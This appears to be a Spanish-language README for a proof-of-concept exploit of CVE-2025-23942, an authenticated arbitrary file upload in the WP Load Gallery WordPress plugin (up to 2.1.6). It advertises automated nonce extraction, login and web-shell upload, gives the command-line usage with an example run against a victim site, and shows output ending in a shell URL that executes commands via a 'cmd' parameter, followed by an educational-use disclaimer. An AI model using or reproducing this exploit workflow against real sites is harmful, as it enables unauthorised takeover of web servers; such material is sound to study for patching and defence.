nxploited/cve-2025-23942-pocWP Load Gallery <= 2.1.6 - Autenticado (Author+) Subida Arbitraria de Archivos
La vulnerabilidad de carga sin restricciones de archivos de tipo peligroso en NgocCode WP Load Gallery permite cargar un Web Shell a un servidor web. Este problema afecta a WP Load Gallery: desde n/a hasta 2.1.6.
✅ Explotación automatizada – Extrae el nonce, inicia sesión y sube el shell automáticamente.
✅ Comprobación de versión – Confirma si el objetivo es vulnerable antes de la explotación.
✅ Manejo de errores – Garantiza una ejecución fluida incluso en caso de fallos.
✅ Manejo de sesiones – Utiliza una gestión de sesiones persistente para la autenticación.
✅ – Proporciona salida en cada paso.
requests (pip install requests)Ejecute el script con los parámetros necesarios:
usage: CVE-2025-23942.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit WP Load Gallery - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Target WordPress URL (e.g., https://example.com)
-un USERNAME, --username USERNAME
WordPress Username
-p PASSWORD, --password PASSWORD
WordPress Password
Ejemplo:
python CVE-2025-23942.py -u http://victim-site.com -un author_user -p password123
_______ ________ ___ ___ ___ _____ ___ ____ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |__ \|___ \ / _ \| || |__ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ ) | __) | (_) | || |_ ) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______/ / |__ < \__, |__ _/ /
| |____ \ / | |____ / /_| |_| / /_ ___) | / /_ ___) | / / | |/ /_
\_____| \/ |______| |____|\___/____|____/ |____|____/ /_/ |_|____|
[+] Checking plugin version...
[+] Detected version: 2.1.6
[+] The target is vulnerable! Proceeding with exploitation...
[+] Logged in successfully.
[+] Extracting wplg_nonce...
[+] Extracted wplg_nonce: a1b2c3d4e5
[+] Uploading shell...
[+] File uploaded successfully!
[+] Shell is accessible at: http://victim-site.com/wp-content/uploads/2025/02/nxploit.php?cmd=id
Este exploit está destinado únicamente a fines educativos y de investigación en seguridad. No lo utilice en sistemas que no le pertenezcan o para los que no tenga permiso explícito de prueba. El autor no es responsable del mal uso de este script. ( Khaled_alenazi )